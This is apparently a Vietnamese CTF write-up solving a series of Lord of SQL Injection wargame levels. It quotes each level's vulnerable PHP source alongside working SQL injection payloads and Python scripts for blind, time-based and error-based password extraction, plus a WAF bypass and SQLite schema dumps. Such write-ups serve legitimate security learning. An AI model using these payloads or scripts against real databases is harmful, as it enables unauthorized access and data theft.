$result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']){ if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~"); $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'"; echo "<hr>query2 : <strong>{$query2}</strong><hr><br>"; $result = mysqli_fetch_array(mysqli_query($db,$query2)); if($result['id'] == "admin") solve("green_dragon"); } highlight_file(__FILE__); ?> ``` Bài nhận vòa 2 tham số `id` và `pw`, sau đó kết quả trả về của câu truy vấn qua 1 lớp filter nữa rồi được đưa tiếp vào 1 truy vấn nữa, nếu kết quả trả về là `admin` thì solve. Đâu tiên ta nghĩ đến việc dùng `\` để loại bỏ `'` và dùng tiếp union. Do không được dùng `'` ta có thể chuyển qua hex hoặc dùng hàm `char()` payload: `a\&pw=union select 0x5c,0x756e696f6e2073656c656374203078363136343664363936653b2d2d202d;-- -` ## red_dragon Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~"); if(strlen($_GET['id']) > 7) exit("too long string"); $no = is_numeric($_GET['no']) ? $_GET['no'] : 1; $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result['id']}</h2>"; $query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again. $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['no'] === $_GET['no']) solve("red_dragon"); highlight_file(__FILE__); ?> ``` Bài nhận vào 2 tham số `id` với độ dài không vượt quá 7 và `no` phải là số (được kiểm tra qua `is_numeric()`). Khi nhập `id='||no;%23` thì xuất hiện `Hello admin` Việc bây giờ là cần tìm `no` tuy nhiên `id` chỉ 7 ký tự và tối đa là `id='||no>%23`. Vậy lợi dùng `no` phía sau để so sánh, cụ thể là cho nó xuống dòng: `?id='||no>%23&no=%0a1`, khí đó là nó đang so sánh với 1 và kết quá đúng vì trả về `Hello admin`. Vậy tiếp tục fuzz và biết được: 100000000<`no`<1000000000. Cứ dò như vậy hoặc script (khá giống thuật toán tìm kiếm nhị phân): ``` import requests url = 'https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php' cookies= { "PHPSESSID":"tacpsf7m0d1vljqep5s9bu6tg2" } # 100000000<no<1000000000 min=100000000 max=1000000000 while True: tb=(min+max)//2 payload="?id='||no>%23&no=%0A{}".format(tb) r=requests.get(url=url+payload,cookies=cookies) if min==max-1: print("complete,no= {}".format(tb+1)) break if "Hello admin" in r.text: min=tb print("no= {}".format(tb)) continue max=tb ``` Kết quả: `no=586482014` ## blue_dragon Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~"); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon"); highlight_file(__FILE__); ?> ``` Bài nhận vào `id` và `pw` và dựa vào đó tìm `pw` của `admin`. Các tham số bị filter `'` và `\`. Tuy nhiên ở bài này câu truy vấn được thực thi trước khi xử lý -_- Vậy ta có thể dùng time based để brute-force pw: ``` import requests,string,time LETTERS=string.digits+string.ascii_letters url = 'https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php' cookies= { "PHPSESSID":"tacpsf7m0d1vljqep5s9bu6tg2" } pw='' for i in range(1,9): for j in LETTERS: payload="?id=admin' and if(ascii(substring(pw,{},1))={},sleep(5),0)%23".format(i,ord(j)) start=time.time() r=requests.get(url=url+payload,cookies=cookies) end=time.time() if end-start>5: pw+=j break print("[{}] pw={}".format(i, pw+j)) print("complete, pw={}".format(pw)) ``` Kết quả: `pw=d14fbWav` ## frankenstein Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(mysqli_error($db)) exit("error"); $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein"); highlight_file(__FILE__); ?> ``` Bài nhận vào tham số `pw` và bị filter `(`,`)`,`union`. Để solve thì cần tìm `pw` của `admin`. Như vậy không burte-force bằng các hàm như `substr`,... nên ta nghĩ đến việc dùng like `x%`. Bài này có lỗi trả về `mysqli_error($db)` dựa vào đây ta tìm cách trả về lỗi đó là cho nó thực hiện ra một kết quả lớn mà sql không xử lý được (ví dụ như `0xFFFFFFFFF*0xFFFFFFFFF`) qua điều kiện kiểm tra: ``` import requests,string LETTERS=string.digits+string.ascii_letters url = 'https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php' cookies= { "PHPSESSID":"a3ijdj2snnegst00820p9hsas7" } pw='' for i in range(1,9): for j in LETTERS: payload="?pw=' or case when id='admin' and pw like '{}%25' then 0xFFFFFFFFF*0xFFFFFFFFF else 0 end%23".format(pw+j) r=requests.get(url=url+payload,cookies=cookies) print("pw={}".format(pw+j)) if "include" in r.text: continue if "error" in r.text: pw+=j break print("complete, pw={}".format(pw)) ``` Kết quả: `pw=0dc4efbb` ## phantom Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect("phantom"); if($_GET['joinmail']){ if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try"); $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')"; mysqli_query($db,$query); echo "<hr>query : <strong>{$query}</strong><hr>"; } $rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'"); echo "<table border=1><tr><th>ip</th><th>email</th></tr>"; while(($result = mysqli_fetch_array($rows))){ if($result['no'] == 1) $result['email'] = "**************"; echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>"; } echo "</table>"; $_GET[email] = addslashes($_GET[email]); $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); } highlight_file(__FILE__); ?> ``` Bài nhận vào tham số `joinmail` và nó được đưa vào câu truy vấn insert để tạo 1 hàng mới có `ip` là địa chỉ ip của bạn và `email` là `joinmail` và nó bị filter từ `duplicate`. Nhiệm vụ ở đây là tìm email bị che. Bài này không có filter gì đặc biệt vì vậy ta có thể inject thêm giá trị khác bằng payload: `?joinmail=12345'), (2,'{IP}',(select email from prob_phantom as p where no=1))%23` ![](https://hackmd.io/_uploads/ryScJSgP2.png) Kết quả: `email=admin_secure_email@rubiya.kr` ## ouroboros Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~"); $query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>"; if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros"); highlight_file(__FILE__); ?> ``` Bài có in ra kết quả truy vấn nên nghĩa ngay đến `union` vì không bị filter gì. Khi dùng : `pw=1' union select 1;%23` thì in ra `Pw : 1` SQL Quine payload:`?pw=1%27%20union%20SELECT%20REPLACE(REPLACE(%271"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27,CHAR(34),CHAR(39)),CHAR(36),%271"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27)%20AS%20Quine%23` cre:https://mandu-mandu.tistory.com/342 ## zombie Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect("zombie"); if(preg_match('/rollup|join|ace|@/i', $_GET['pw'])) exit("No Hack ~_~"); $query = "select pw from prob_zombie where pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>"; if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("zombie"); highlight_file(__FILE__); ?> ``` Bài này dùng `union` nhưng vấn đề không thể truy xuất ra giá trị `pw` mặc dù có được tên bảng, cột. Ta sửu dụng bảng khác là `INFORMATION_SCHEMA.PROCESSLIST`. Nếu `pw='union select info from information_schema.processlist%23` thì kết quả được `select pw from prob_zombie where pw=''union select info from information_schema.processlist#'` nghĩa là nó hiện thị ra câu truy vấn đó và nhiệm vụ là dùng `substr` cắt chuỗi cho phù hợp. Giá trị cắt bắt đầu là 38 và giá trị thứ 2 là độ dài. Payload: `'union select substr(info,38,72) from information_schema.processlist-- -` ![](https://hackmd.io/_uploads/ryPbA3Wvn.png) ## alien Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~"); $query = "select id from prob_alien where no={$_GET[no]}"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $query2 = "select id from prob_alien where no='{$_GET[no]}'"; echo "<hr>query2 : <strong>{$query2}</strong><hr><br>"; if($_GET['no']){ $r = mysqli_fetch_array(mysqli_query($db,$query)); if($r['id'] !== "admin") exit("sandbox1"); $r = mysqli_fetch_array(mysqli_query($db,$query)); if($r['id'] === "admin") exit("sandbox2"); $r = mysqli_fetch_array(mysqli_query($db,$query2)); if($r['id'] === "admin") exit("sandbox"); $r = mysqli_fetch_array(mysqli_query($db,$query2)); if($r['id'] === "admin") solve("alien"); } highlight_file(__FILE__); ?> ``` Bài nhận vào tham số `no` và filter `/admin|and|or|if|coalesce|case|_|\.|prob|time/i` Và đưa nó vào 2 câu sql, điểm khác nhau giữa 2 câu là câu truy vấn thứ 2 có nháy đơn kẹp vào `''`. Khi dùng `no=-1 union select 0x61646d696e %23` thì kết quả trả về là **sandbox2** như vậy là qua được if thứ nhất nhưng lại vào if thứ 2. Làm sao để `$r['id']` lúc thì bằng `admin` lúc thì không. Kết quả trả về từ truy vấn cần 1 thời gian ngắn vậy trong thời gian ngắn ấy ta có thể thay đổi được giá trị. https://mandu-mandu.tistory.com/344 ## cthulhu Source: ``` <?php include "./welcome.php"; include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("cthulhu"); highlight_file(__FILE__); ?> ``` https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1181 Payload: `?id=-1'<@=1 OR {a 1}=1 OR '` ## death Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("death"); elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; highlight_file(__FILE__); ?> ``` Dùng payload như bài trước : `-1'<@=1 OR {a 1}=1 OR '` được kết quả: ![](https://hackmd.io/_uploads/HJs4tIJOn.png) Dùng thêm limit: `?id=-1'<@=1 OR {a 1}=1 OR '' limit 1,1;-- -` ## godzilla Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello admin</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla"); highlight_file(__FILE__); ?> ``` Bài này vẫn dùng WAF như 2 bài trên Với payload: `?id=-1'<@=1 OR 1=1;-- -` thì trả về **Hello admin**. Từ đó có điều kiện để brute-force `pw`. Với `?id=-1'<@=1 OR length(pw)=8;-- -` kết quả là **Hello admin** như vậy length của `pw` là 8. Script: ``` import requests url='https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php' cookies= { "PHPSESSID":"13jf4p413r85l8igc4rg6cc8hc" } pw='' for i in range(1,9): for j in range(48,123): payload="?id=-1'<@=1 OR ASCII(substr(pw,{},1))={};-- -".format(i,j) r=requests.get(url=url+payload, cookies=cookies) print("pw: "+pw+chr(j)) if "Hello admin" in r.text: pw+=chr(j) break ``` Kết quả: `pw=a18a6cc5` ## cyclops Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select highlight_file(__FILE__); ?> ``` Để giải bài này ta cần thực thi được kiểu như `union select 'first', 'second'`. Payload: `?pw='<@=1 UNION/**/SELECT 'first','second` ## chupacabra Source: ``` <?php include "./config.php"; login_chk(); $db = sqlite_open("./db/chupacabra.db"); $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlite_fetch_array(sqlite_query($db,$query)); if($result['id'] == "admin") solve("chupacabra"); highlight_file(__FILE__); ?> ``` Bài yêu cầu trả về kết quả `admin` Payload: `?id=1' or '1'='1' limit 1,1;-- -` ## manticore Source: ``` <?php include "./config.php"; login_chk(); $db = sqlite_open("./db/manticore.db"); $_GET['id'] = addslashes($_GET['id']); $_GET['pw'] = addslashes($_GET['pw']); $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlite_fetch_array(sqlite_query($db,$query)); if($result['id'] == "admin") solve("manticore"); highlight_file(__FILE__); ?> ``` Bài này dùng `addslashes` để add `\` vào 1 số ký tự. Payload: `?id=1' or id=char(97,100,109,105,110)-- -` Bời vì trong **SQLite**, ngay cả khi `\` được thêm vào, nó không được nhận dạng là một chuỗi thoát. ## banshee Source: ``` <?php include "./config.php"; login_chk(); $db = sqlite_open("./db/banshee.db"); if(preg_match('/sqlite|member|_/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from member where id='admin' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlite_fetch_array(sqlite_query($db,$query)); if($result['id']) echo "<h2>login success!</h2>"; $query = "select pw from member where id='admin'"; $result = sqlite_fetch_array(sqlite_query($db,$query)); if($result['pw'] === $_GET['pw']) solve("banshee"); highlight_file(__FILE__); ?> ``` Với payload đơn giản `?pw=1' or 1=1;--` thì trả về **login success!**. Từ đó ta brute-force `pw`: ``` import requests import string LETTERS=string.ascii_letters+string.digits url='https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php' cookies= { "PHPSESSID":"13jf4p413r85l8igc4rg6cc8hc" } pw='' for i in range(1,9): for j in LETTERS: payload="?pw=1' or unicode(substr(pw,{},1))={} and id='admin';--".format(i,ord(j)) r=requests.get(url=url+payload, cookies=cookies) print("pw: "+pw+j) if "login success!" in r.text: pw+=j break ``` Nếu không có `and id='admin'` sẽ trả về `pw` của guest. Kết quả: `pw=0313091b` ## poltergeist Source: ``` <?php include "./config.php"; login_chk(); $db = sqlite_open("./db/poltergeist.db"); $query = "select id from member where id='admin' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlite_fetch_array(sqlite_query($db,$query)); if($result['id']) echo "<h2>Hello {$result['id']}</h2>"; if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database. highlight_file(__FILE__); ?> ``` Muốn giải được bài này thì cần biết `$poltergeistFlag` theo như bài thì nó nằm trong bảng `flag_{$hash}`, vậy ta nghĩ đến `union`. Với payload: `?pw=1' union select 1;-- -` thì kết quả `Hello 1`. Ta truy xuất tên bảng bằng payload: `?pw=1' union select tbl_name FROM sqlite_master;-- -` được **flag_70c81d99**. Ta truy xuất tiếp tên cột bằng payload: `?pw=1' union select sql FROM sqlite_master where name='flag_70c81d99';-- -` được **flag_0876285c**. Từ đó ta lấy giá trị cột đó bằng payload:`?pw=1' union select flag_0876285c FROM flag_70c81d99;-- -` được **FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}** và đưa `pw` bằng giá trị này là oke. ## nessie ![](https://hackmd.io/_uploads/HJ4vHOJO2.png) :((( bị lỗi ò